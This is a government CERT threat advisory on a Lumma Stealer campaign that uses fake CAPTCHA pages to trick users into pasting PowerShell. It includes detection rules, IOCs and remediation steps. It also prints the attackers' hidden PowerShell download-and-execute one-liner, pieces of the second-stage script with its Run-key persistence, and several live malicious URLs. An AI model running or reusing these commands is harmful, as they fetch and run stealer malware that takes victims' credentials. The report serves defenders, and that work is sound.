
 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Emerging threat:  

Stealer Malware (Lumma C2) 

Campaign with fake CAPTCHA pages 
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TLP: CLEAR 
Distribution: Public 
Type of Threat: Stealer Malware (C2) 

Date: 08 October 2024 

 
Executive Summary 
 
The Cyber Threat Intelligence (CTI) Unit at BGD e-GOV CIRT has recently identified a stealer 

malware campaign linked to the notorious Lumma Stealer malware family. Further 

investigation has revealed that multiple variants of stealer malware are being distributed using 

similar tactics. This report details how our threat intelligence researchers detected and 

analyzed this evolving malware campaign. 

Our CTI Unit has been actively monitoring stealer malware campaigns and has identified 

evidence of malware that exfiltrates sensitive user information both locally and globally. In a 

recent analysis, we detected Lumma Stealer malware being propagated through deceptive 

CAPTCHA pages. This report will illustrate how users are lured into falling victim to this novel 

approach of utilizing CAPTCHA pages. 

 

Fig: Global infection samples of Lumma C2 variants 
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Stealer Malware’s Footprint in Bangladesh:  

Fig: Recently detected Victims sample with stealer malwares in Bangladesh 

 

Infection Chain: 
 

Step 1: Initial Access via Malicious Hyperlinks 

Several websites in Bangladesh, popular for streaming movies, have been identified as vectors 

for delivering malicious content to unsuspecting users. When users interact with these 

websites, they are presented with a convincing CAPTCHA. Upon solving the CAPTCHA, they 

are instructed to open the Windows RUN prompt and paste a suspiciously long string. 

In our case, we found the following URL were involved in these attacks as primary web surfing 

activities: 

 https://tinyzonetv[.]stream 

Right after clicking on the above link redirects users by opens up a CAPTCHA screen similar to 

the following URL - 

https[:]//s3.ap-southeast-1.wasabisys.com/il4build/access-for-verification-page-05.html?X-Amz-

Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-

Credential=MKL7RR2DGMIBE69KPENT%2F20241005%2Fap-southeast-

1%2Fs3%2Faws4_request&X-Amz-Date=20241005T202512Z&X-Amz-Expires=43200&X-Amz-

Signature=0a626639486a647545ce6cb94f7e0b7109cb6c34c7ecc9a1486a14b32a81eb9a&X-

Amz-SignedHeaders=host&x-id=GetObject 
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When a user tries to refresh the screen with clicking on “I’m not a robot”, in background the 

page generates a PowerShell script and automatically it copies the PowerShell script in 

clipboard and it instruct user to run the script from user’s command line. 

Step 2: Execution of PowerShell Commands 

When the user does the activities as per instruction on the malicious URL, the following 

PowerShell script will execute on user’s device and perform the activities according to the 

below script. 

 

 

 

Breakdown of the PowerShell Command: 

1. powershell.exe -W Hidden: This runs PowerShell in hidden mode, concealing the 

execution from the user. 

2. $url = 'https://go-for-zip.b-cdn.net/il/4/file/n4[.]txt': A URL points to a remote file 

hosted on an external server. 

3. $response = Invoke-WebRequest -Uri $url -UseBasicParsing: This command fetches 

the contents of the remote file using Invoke-WebRequest. 

4. $text = $response.Content: The contents retrieved from the file are stored in the 

variable $text. 

powershell.exe -W Hidden -command $url = 'https://go-for-zip.b-

cdn.net/il/4/file/n4.txt'; $response = Invoke-WebRequest -Uri $url -

UseBasicParsing; $text = $response.Content; iex $text 

https://go-for-zip.b-cdn.net/il/4/file/n4%5b.%5dtxt
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5. iex $text: This command executes the contents of the file stored in $text using Invoke-

Expression (iex), allowing for arbitrary remote code execution. 

Step 3: Analysis of the Malicious PowerShell Payload 

After retrieving the contents of n4.txt, we observed that it contains another PowerShell code 

as following: 

 

Breakdown of the 2nd Malicious PowerShell Script: 

This code is designed to download, extract, execute, and persistently run a malicious file. 

Below is a detailed breakdown: 

1. Download of a Malicious ZIP File: 

o $Z1Avt6Vz='https://norm4.b-cdn.net/norm4.zip'; 

o The script initiates a BitsTransfer operation to download a ZIP file from the 

remote URL https://norm4.b-cdn.net/norm4.zip. This file likely contains the 

malware payload. 

2. Storage Location Setup: 

o $B1RgjW4C=$env:APPDATA+'\kRpg5cKY'; 

o The script sets a directory path within the user’s AppData folder (kRpg5cKY) to 

store the downloaded file. Storing files in AppData is a common tactic used by 

malware to evade detection, as this folder is less frequently monitored by 

security software. 

3. File Extraction: 

o Expand-Archive -Path $8GEo1rjR -DestinationPath $B1RgjW4C -Force; 

o After downloading, the ZIP file is extracted into the kRpg5cKY folder. The 

extracted file is named NetVineSigned.exe, which appears to be the primary 

malicious executable used in this attack. 

4. Execution of the Malicious Payload: 

o Start-Process $Q0D6Rs2b; 

o The script executes the extracted executable (NetVineSigned.exe). This 

executable likely serves as the core of the malware, enabling activities such as 

system compromise, data theft, or further malware downloads. 
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5. Persistence Mechanism: 

o New-ItemProperty -Path 

'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 

'BuUUAwko' -Value $Q0D6Rs2b -PropertyType 'String'; 

o The malware creates a registry entry under 

HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to ensure the 

NetVineSigned.exe is automatically executed each time the user logs in. This 

guarantees that the malware persists on the system even after a reboot. 

 

Artifact Analysis: 

 

1. Static Analysis 

Executable Info: With PeStudio we found the following information about the executable: 

 

Fig: Basic Info about the detected executable file. 
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Fig: Malicious signature extraction from the strings on the executable. 
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Fig: Malicious signature detection for this executable with security vendors. 

 

2. Executable’s Capability Assessment 
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3. Captured stealer log analysis 

We collected & analyze few stealer Logs samples from different stealer malware families and 

found the following information: 

a. Victim’s System Info: 

 

 

Fig: Sample Victim User-1 

 

Fig: Sample Victim User-2 



 

 

Page 10 of 17 

 

Fig: Sample Victim User-3 
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b. Directories and Files captured from victim’s device 

 

 
 

c. Captured Credentials from Victim’s Device 
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d. Captured User’s Browsing History 

 

Indicators of Compromise (IOCs) 
Based on this analysis, the following Indicators of Compromise (IOCs) were identified: 

Category Indicator 

C&C https://github-scanner[.]com 

PowerShell 
Script Hash 

10d4e15b63a07368299f2245661d7a4626cd1a91a9950a3cbed5b4276d2dc31f 

 
 
 
 
 
 
 
 

File Hashes 

PS: 
b6a016ef240d94f86e20339c0093a8fa377767094276730acd96d878e0e1d624 
 

PS: 
cc29f33c1450e19b9632ec768ad4c8c6adbf35adaa3e1de5e19b2213d5cc9a54 

ZIP: 632816db4e3642c8f0950250180dfffe3d37dca7219492f9557faf0ed78ced7c 

ZIP: 
19d04a09e2b691f4fb3c2111d308dcfa2651328dfddef701d86c726dce4a334a 

EXE: 
d737637ee5f121d11a6f3295bf0d51b06218812b5ec04fe9ea484921e905a207 

EXE: 
bbf7154f14d736f0c8491fb9fb44d2f179cdb02d34ab54c04466fa0702ea7d55 

HTA: 
fa58022d69ca123cbc1bef13467d6853b2d55b12563afdbb81fc64b0d8a1d511 

 
 
 
 
 

Ofsetvideofre[.]click 

Newvideozones[.]click/veri[.]html 

Clickthistogo[.]com/go/67fe87ca-a2d4-48ae-9352-
c5453156df67?var_3=F60A0050-6F56-11EF-AA98-FFC33B7D3D59 

Downloadstep[.]com/go/08a742f2-0a36-4a00-a979-885700e3028c 
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Fake Human 
CAPTCHA 
Websites 

Betterdirectit[.]com/ 

Betterdirectit[.]com/go/67fe87ca-a2d4-48ae-9352-c5453156df67 

heroic-genie-2b372e[.]netlify[.]app/please-verify-z[.]html 

Downloadstep[.]com/go/79553157-f8b8-440b-ae81-0d81d8fa17c4 

Downloadsbeta[.]com/go/08a742f2-0a36-4a00-a979-885700e3028c 

Streamingsplays[.]com/go/6754805d-41c5-46b7-929f-6655b02fce2c 

Streamingsplays[.]com/go/b11f973d-01d4-4a5b-8af3-139daaa5443f 

Streamingszone[.]com/go/b3ddd860-89c0-448c-937d-
acf02f7a766f?c=AOsl62afSQUAEX4CAEJPFwASAAAAAABQ 

Streamingsplays[.]com/go/1c406539-b787-4493-a61b-f4ea31ffbd56 

github-scanner[.]shop 

github-scanner[.]com 

botcheck.b-cdn[.]net/captcha-verify-v7.html 

hxxps[://]heroic-genie-2b372e[.]netlify[.]app/please-verify-z[.]html 

hxxps[://]fipydslaongos[.]b-cdn[.]net/please-verify-z[.]html 

hxxps[://]sdkjhfdskjnck[.]s3[.]amazonaws[.]com/human-verify-system[.]html 

hxxps[://]verifyhuman476[.]b-cdn[.]net/human-verify-system[.]html 

hxxps[://]pub-9c4ec7f3f95c448b85e464d2b533aac1[.]r2[.]dev/human-verify-
system[.]html 

hxxps[://]newvideozones[.]click/veri[.]html 

hxxps[://]ch3[.]dlvideosfre[.]click/human-verify-system[.]html 

 
Redirecting 
Websites 

Rungamepc[.]ru/?load=Black-Myth-Wukong-crack 

game02-com[.]ru/?load=Cities-Skylines-2-Crack-Setup 

Rungamepc[.]ru/?load=Dragons-Dogma-2-Crack 

Rungamepc[.]ru/?load=Dying-Light-2-Crack 

Rungamepc[.]ru/?load=Monster-Hunter-Rise-Crack 

 
Websites  
Containing 
Malicious 
URLs 

Runkit[.]com/wukong/black-myth-wukong-crack-pc 

Runkit[.]com/skylinespc/cities-skylines-ii-crack-pc-full-setup 

Runkit[.]com/masterposte/dying-light-2-crack-on-pc-denuvo-fix 

Runkit[.]com/dz4583276/monster-hunter-rise-crack-codex-pc/1.0.0/clone 

Groups[.]google[.]com/g/hogwarts-legacy-crack-empress 

By[.]tribuna[.]com/extreme/blogs/3143511-black-myth-wukong-full-unlock/ 

 
 
Infection 
Traffic from 
Fake 
Verification 
Pages 

hxxps[:]//myapt67[.]s3[.]amazonaws[.]com/human-verify-system[.]html 

hxxps[:]//myapt67[.]s3[.]amazonaws[.]com/human-captcha-v1[.]html 

hxxps[:]//myapt67[.]s3[.]amazonaws[.]com/pgrtmed <– Lumma Stealer EXE 
retrieved and run by copied/pasted script 

hxxps[:]//myapt67[.]s3[.]amazonaws[.]com/pgrt1[.]zip 

hxxps[:]//myapt67[.]s3[.]amazonaws[.]com/pgrt2[.]zip 

hxxps[:]//iplogger[.]co/Zv0L8[.]zip <– parked domain, returned small, non-
malicious PNG image 

tibedowqmwo[.]shop <– HTTPS Lumma Stealer C2 traffic 

hxxps[:]//verif[.]dlvideosfre[.]click/2ndhsoru <– Lumma Stealer EXE retrieved 
and run by copied/pasted script 
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YARA Rule for Detection of NetVineSigned.exe Malware 
 

This YARA rule can help in identifying malicious files related to the NetVineSigned.exe 

malware, providing an effective detection method for security teams working to prevent the 

spread of this stealer malware. 

https://github.com/bgd-cirt/LummaStealer-YARA-Rules/blob/main/README.md  

/* 

   YARA Rule Set 

   Author: BGD e-GOV CIRT CTI Team 

   Date: 2024-10-08 

   Description: Detection of NetVineSigned.exe malware 

   Reference: Internal Analysis of Lumma Stealer Campaign 

*/ 

 

rule NetVineSigned { 

   meta: 

      description = "Detection rule for NetVineSigned.exe malware" 

      author = "BGD e-GOV CIRT CTI Team" 

      reference = "Internal Threat Intelligence Report" 

      date = "2024-10-08" 

      hash1 = 

"cca0ccec702392583c6e1356a3ff1df0d20d5837c3cd317464185e8780121ab1" // 

SHA-256 hash of NetVineSigned.exe 

   strings: 

      $s1 = "rundll32.exe shell32.dll,Control_RunDLL MMSys.cpl" fullword 

ascii 

      $s2 = "#Incompatible version of WINSOCK.DLL" fullword ascii 

      $s3 = 

";http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#" fullword 

ascii 

      $s4 = "https://www.ssuiteoffice.com" fullword ascii 

      $s5 = "ssuiteoffice.com" fullword ascii 

      $s6 = "http://www.netmastersllc.com" fullword ascii 

      $s7 = 

";http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0|" fullword 

ascii 

      $s8 = "visit us at ssuiteoffice.com" fullword wide 

      $s9 = "TLOGINDIALOG" fullword wide 

      $s10 = "NetVine - HeaderFooterForm" fullword ascii 

      $s11 = "https://sectigo.com/CPS0" fullword ascii 

      $s12 = "AddressList.dat" fullword ascii 

      $s13 = "Error setting %s.Count8Listbox (%s) style must be virtual 

in order to set Count\"Unable to find a Table Of Contents" fullword wide 

      $s14 = 

":http://secure.globalsign.com/cacert/codesigningrootr45.crt0A" fullword 

ascii 

      $s15 = 

"?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl05" 

fullword ascii 

      $s16 = "-http://ocsp.globalsign.com/codesigningrootr450F" fullword 

ascii 

      $s17 = 

"9http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#" fullword 

ascii 

https://github.com/bgd-cirt/LummaStealer-YARA-Rules/blob/main/README.md
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      $s18 = 

"9http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z" fullword 

ascii 

      $s19 = "0http://crl.globalsign.com/codesigningrootr45.crl0U" 

fullword ascii 

      $s20 = "GIF encoded data is corrupt!GIF code size not in range 2 to 

9,Wrong number of colors; must be a power of 2\"Unrecognized extensi" 

wide 

   condition: 

      uint16(0) == 0x5a4d and filesize < 7000KB and 

      8 of them 

} 

 

Potential Risks and Impact 
This PowerShell script introduces several key risks: 

1. Remote File Download and Execution: 

The malware downloads a file from an external URL (norm4.zip) and executes it without any 

user interaction. The contents of this ZIP file, which include a malicious executable 

(NetVineSigned.exe), are indicative of remote code execution (RCE) tactics. Attackers can 

modify the hosted file at any time to deliver updated malware payloads. 

2. Hidden File Extraction and Execution: 

By utilizing the AppData directory, the malware avoids easy detection. The choice to store files 

in less monitored locations and silently execute them makes detection more challenging for 

typical endpoint protection tools. 

3. Persistence via Registry Modification: 

By adding a registry entry under HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, 

the malware ensures that it persists across system reboots, making it harder to remove. This 

type of persistence is a hallmark of long-term infection strategies. 

4. Dynamic Execution via PowerShell: 

The reliance on PowerShell for executing commands adds an extra layer of stealth, as many 

organizations fail to monitor PowerShell activity effectively. Attackers often use PowerShell 

because it is trusted and pre-installed on most Windows systems. 
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Recommendations 
To mitigate the risk of potential cyber-attacks, BGD e-GOV CIRT recommends the following 

measures: 

 

Mitigation Steps: 

1. Network Blocking: Block the identified URLs (norm4.b-cdn.net) at the network 

perimeter to prevent further infections. 

2. PowerShell Monitoring: Enable logging for PowerShell activity and monitor for 

suspicious command execution, especially those involving BitsTransfer or registry 

modifications. 

3. Endpoint Protection: Ensure that your endpoint protection system detects and alerts 

on suspicious changes to the Run registry key, which is commonly used by malware for 

persistence. 

4. User Awareness: Train users to avoid interacting with suspicious links or websites, 

especially those that request system-level interactions (e.g., running commands or 

scripts). 

 

Remediation: 

1. Manual Inspection: Review and remove the BuUUAwko registry entry to prevent the 

malware from executing at startup. 

2. File Removal: Delete the NetVineSigned.exe file and its associated folder (kRpg5cKY) 

from the infected system. 

3. System Scans: Perform a full malware scan of the affected machine and network to 

identify other potential compromises. 

4. Report Incidents:  Report or inform BGD e-GOV CIRT regarding any cyber incident, 
IOC’s, suspicious activities within your infrastructure, through mail id: cirt@cirt.gov.bd  

  

mailto:cirt@cirt.gov.bd
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Conclusion 
 

This analysis reveals a sophisticated stealer malware campaign using PowerShell to execute 

malicious payloads, establish persistence, and evade detection. The dynamic nature of the 

malware, along with its ability to download and execute code from remote locations, presents 

a significant threat to unprotected systems. Organizations are advised to implement strict 

monitoring, user education, and appropriate network defenses to mitigate the risks 

associated with this evolving threat. 

 

Previous Alert and Guidelines on Info Stealer Malware: 
 

1. https://www.cirt.gov.bd/wp-content/uploads/2024/01/Emerging-Threat-of-Info-

Stealer-Malware-in-Bangladesh.pdf 
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